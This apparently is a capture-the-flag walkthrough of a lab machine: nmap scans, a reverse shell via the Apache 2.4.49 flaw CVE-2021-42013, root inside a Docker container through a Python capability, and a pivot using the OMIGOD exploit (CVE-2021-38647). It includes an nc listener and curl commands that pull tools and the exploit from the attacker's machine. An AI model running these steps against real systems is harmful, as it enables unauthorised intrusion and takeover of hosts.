└─$nmap -A-vv-Pn--open-oN nmap.txt 10.10.214.39
#Nmap 7.92 scan initiated Tue Mar 8 19:19:00 2022 as:
Nmap scan report for 10.10.214.39
Host is up, received user-set (0.68s latency).
Scanned at 2022-03-08 19:19:00 EAT for 65s
Not shown: 998 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;protocol 2.0)| ssh-hostkey:
| 3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMlfGBGWZkPg98VnvD+FVeesHsQwmtoJfMOMhifMjxD9AEluFQNVnoyxyQi5y9O2/AN/MO+l57li33lHiVjD1eglBjB3Lkzz3tpRJSmGn2Ug3jRypShkSJ9VkUVFElw8MXke62w3+9pi+S0Ub1DqcttGH8TqihiWvqJbJYnecqjdcka1uKPdPna0gleow9JiaAH3X4EMFdcXZDOGgnOaZId2mEXFDeNNYFZpS+EOcLgXaAp1NobUckE9NXvE73qw+pBNo69m3z4MG7/cJNIsQiFpm5yqgCKJGjhwGFp4zAMXOD23lj1g+iQlwrchwY5nBEHHae1PjQwLjwuWebjWR+bWPalPVYa4d8+15TjjgV8VW/Rac3rTX+A/buyVxUSMhkBtn7fQ2sLoMPPn7vRDo3ggGl5IZaYIvSYRDk9nadsZk+YKUCSgFf97z0PK278vbrPwjJTyyScAnjvs+oLnD/bAdja4uwOOS2CHehjzipVmWf7zR3srIfjZQ4aAUmeh8=
| 256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLf6FvNwGNtpra24lyJ4YWPqB8olwPXhKdr6gSW6Dc+oXdZJbQPtpD7cph3nvR9sQQnTKGiG69XyGKh0ervYI1U=
| 256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzBDIQu+cp4gApnTbTbtmqljyAcr/Za8goiY57VM+uq
80/tcp open http syn-ack Apache httpd 2.4.49 ((Unix))
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
Service Info: OS: Linux;CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
#Nmap done at Tue Mar 8 19:20:05 2022 -- 1 IP address (1 host up) scanned in 65.22 seconds
output
PORT STATE
SERVICE VERSION
22/tcp open
OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open
Apache httpd 2.4.49 ((Unix))
Trying lower hanging fruit vulnerabilities (Service version vulnerabilities). After research, The version of web server is vulnerable to CVE-2021-42013. Check from this blog.
└─$nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.214.136 35818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$idid
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@4a70924bafa0:/bin$whoamiwhoami
daemon
daemon@4a70924bafa0:/bin$daemon@4a70924bafa0:/bin$
After uploading linpeas in target machine and executing in target machine, We can see there is python capability in Capabilities linpeas outputs
After some googling found a nice site which have well explained about linux capabilities, check it here. From the blog now you can be root inside docker by running the following and getting user.txt flag
Now we can see there is 172.17.0.2 so lets identify other hosts. There is no nmap in the machine. Let’s download a static nmap binary to our machine and then download it in the target machine from our machine Yoc can download it from here
And in the target machine there was curl program installed just go to /tmp/ dir in target docker machine and download nmap binary from your machine and executable permissiom
1
2
3
4
5
6
7
root@4a70924bafa0:/tmp#curl http://<your machineip>:8000/nmap -O % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5805k 100 5805k 0 0 197k 0 0:00:29 0:00:29 --:--:-- 292k
root@4a70924bafa0:/tmp#lsnmap
root@4a70924bafa0:/tmp#chmod +x nmap
scanning the whole network for any available host, In case you need more about nmap check my blog post here
At the bottom of nmap output one host is identified as up and running some services
1
2
3
4
5
6
Nmap scan report for 172.17.0.255 [host down, received no-response]
Initiating SYN Stealth Scan at 17:03
Scanning ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) [65535 ports]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 22/tcp on 172.17.0.1
Increasing send delay for 172.17.0.1 from 0 to 5 due to 11 out of 30 dropped probes since last increase.
root@4a70924bafa0:/tmp#./nmap -p- 172.17.0.1 -vv-Pn--min-rate 5000
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-03-08 17:05 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Initiating ARP Ping Scan at 17:05
Scanning 172.17.0.1 [1 port]
Completed ARP Ping Scan at 17:05, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:05
Completed Parallel DNS resolution of 1 host. at 17:05, 0.00s elapsed
Initiating SYN Stealth Scan at 17:05
Scanning ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) [65535 ports]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 22/tcp on 172.17.0.1
Discovered open port 5986/tcp on 172.17.0.1
Increasing send delay for 172.17.0.1 from 0 to 5 due to 11 out of 36 dropped probes since last increase.
Completed SYN Stealth Scan at 17:06, 39.55s elapsed (65535 total ports)
Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up, received arp-response (-0.0019s latency).
Scanned at 2022-03-08 17:05:53 UTC for 40s
Not shown: 65531 filtered ports
Reason: 65531 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
5985/tcp closed unknown reset ttl 64
5986/tcp open unknown syn-ack ttl 64
MAC Address: 02:42:9D:37:F1:91 (Unknown)
Read data files from: /etc
Nmap done: 1 IP address (1 host up) scanned in 39.77 seconds
Raw packets sent: 196630 (8.652MB) | Rcvd: 36 (1.476KB)
After some research on every port opened in this host.
since we have just run static nmap can not give us more information about services running in target host. Found 5985,5986 - Pentesting OMI in hacktrickz here. as interesting
From a blog there is CVE-2021-38647 Let’s check if it is still vulnerable. exploit can be found here
Steps to exploit this vulnerability
Download exploit above in your local machine and start python server in current directory
1
2
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..
In the target machine in /tmp/ dir download exploit using curl and give executable permission
1
2
3
4
5
root@4a70924bafa0:/tmp# curl 10.4.54.226:8000/omigod.py -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2720 100 2720 0 0 2020 0 0:00:01 0:00:01 --:--:-- 2019
root@4a70924bafa0:/tmp# chmod +x omigod.py
run commands in remote machine 172.17.0.1 using exploit syntax as shown in download page.
Or To get remote shell in you machine by forcing the target 172.17.0.1 to download exploit from you machine containing rev shell payload and execute it